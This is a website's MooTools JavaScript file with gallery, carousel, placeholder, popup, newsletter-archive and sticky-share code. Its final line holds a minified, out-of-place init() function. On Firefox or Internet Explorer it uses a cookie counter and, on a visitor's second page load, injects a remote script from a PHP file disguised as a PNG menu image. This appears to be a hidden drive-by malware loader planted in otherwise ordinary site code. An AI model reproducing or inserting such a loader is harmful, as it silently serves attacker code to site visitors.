window.addEvent('domready', function() {
	
	if ( $$("div.gallery")[0] != null) { 
	/* Mootools Plugin for Gallery Slide */
		var gallery8 = new slideGallery($$("div.gallery")[0], {
			steps: 1,
			mode: "circle",
			autoplay: true,
			duration: 4000,
			paging: true
		});
		
	}
	
	
	var horizontal;
	var re = [];
	$$('.bodyGallery.').each(function(el, i) {

		el.getElement('.carousel').set('id', 'galleryID_'+i);

		horID = el.getElement('.carousel').get('id');
		
		var re = new Fx.Scroll.Carousel(horID,{
			mode: 'horizontal',
			onStart: function(){
				re.getCurrent().tween('color','#000');
			},
			onComplete: function(){
				re.getCurrent().tween('color','#fff');
			}
		});

		if ( el.getElement('.carousel').getElements('ul').length < 2 ) {
			el.getElement('.galNext').setStyle('visibility', 'hidden');
			el.getElement('.galPrev').setStyle('visibility', 'hidden');
		}
		
		var fas = function() {
			if ( re.getIndex() == 0 ) el.getElement('.galPrev').setStyle('visibility', 'hidden');
			else el.getElement('.galPrev').setStyle('visibility', 'visible');
			if ( re.getIndex() == ( el.getElement('.carousel').getElements('ul').length - 1 ) ) el.getElement('.galNext').setStyle('visibility', 'hidden');
			else el.getElement('.galNext').setStyle('visibility', 'visible');
		}
		
		fas();
		
		el.getElement('.galNext').addEvent('click', function(){
			re.toNext();
			fas();
		});
				
		el.getElement('.galPrev').addEvent('click', function(){
			re.toPrevious();
			fas();
		});

	});
	
	/* Fall backs for HTML 5 attr such as placeholder & required */
	function supportsPlaceholder() {
		var i = document.createElement('input');
		return 'placeholder' in i;
	}
		
	var inputFields = $$('input');
	
	inputFields.each(function(el) {
		if (!supportsPlaceholder()) {
			  var placeholderText = el.get('placeholder');
			  if (placeholderText) {
				  var textOverlay = new OverText(el, {
					textOverride: placeholderText
				  });
			  }
		}
	});
	
	$$('.popup').addEvent('click', function(p) {
		if ( !this.getParent().hasClass('social_email') ) {		
			p.stop();
			popupform(this.get('href'));
		}
	});
	
	
});

window.addEvent('load', function() {
	$$('.blog_footer a').each(function(z) {
		if ( Browser.Engine.trident ) {
			var setText = new Element('span', { 'html': z.get('html') });
			var shadow = new Element('span', { 'class': 'drop', 'html': z.get('html') });
			z.empty();
			setText.inject(z);
			shadow.inject(z);
		}
	});
	
	if ( $('map_canvas') != null ) {
		initialize();
	}
});

window.addEvent('unload', function() {
	if ( $('map_canvas') != null ) {
		GUnload();
	}
});

function popupform(c) {
	LeftPosition = (screen.width) ? (screen.width-550)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-450)/2 : 0;
	if (!window.focus)return true;
		window.open(c, '', 'height=450,width=550,scrollbars=no,location=no,status=no,toolbars=no,top='+TopPosition+',left='+LeftPosition);

	return true;
}

window.addEvent('load',function() {
									
	new Request({
		url: '/newsletter-updates.php',
		method: 'get',
		onRequest: function(){
			console.log("Sending through request for archives");
		},
		onSuccess: function(responseText){
			if ( responseText == "200" ) 
			{
				console.log("Succesfully updated archives");
			}
			else if ( responseText.indexOf("SQL_ERR") != "-1" )
			{
				console.error("Unable to update archives \n" + responseText);
			}
			else
			{
				console.error("Unable to update archives \n");
			}
		},
		onFailure: function(){
			console.error("Unable to continue process.");
		}
	}).send();
	
});

window.addEvent('domready',function() {
										
	container = document.id("page_newsletter-archive");

	if ( container != null ) 
	{
		if ( document.id($$(".social-share")[0]) != null ) 
		{
			
			window.addEvent("scroll", function() {
											   
				if ( window.getScroll().y > 419 ) 
				{
					document.id($$(".social-share")[0]).addClass("sticky");
					container.addClass("sticky");
				}
				else
				{
					document.id($$(".social-share")[0]).removeClass("sticky");
					container.removeClass("sticky");
				}
				
			});
		}
				
		archiveList = container.getElements("li");
		
		archiveList.addEvent("click", function(li) {
			this.getElement("a").click();
		}); 
		
	}
  
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/menu/about-us.png.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
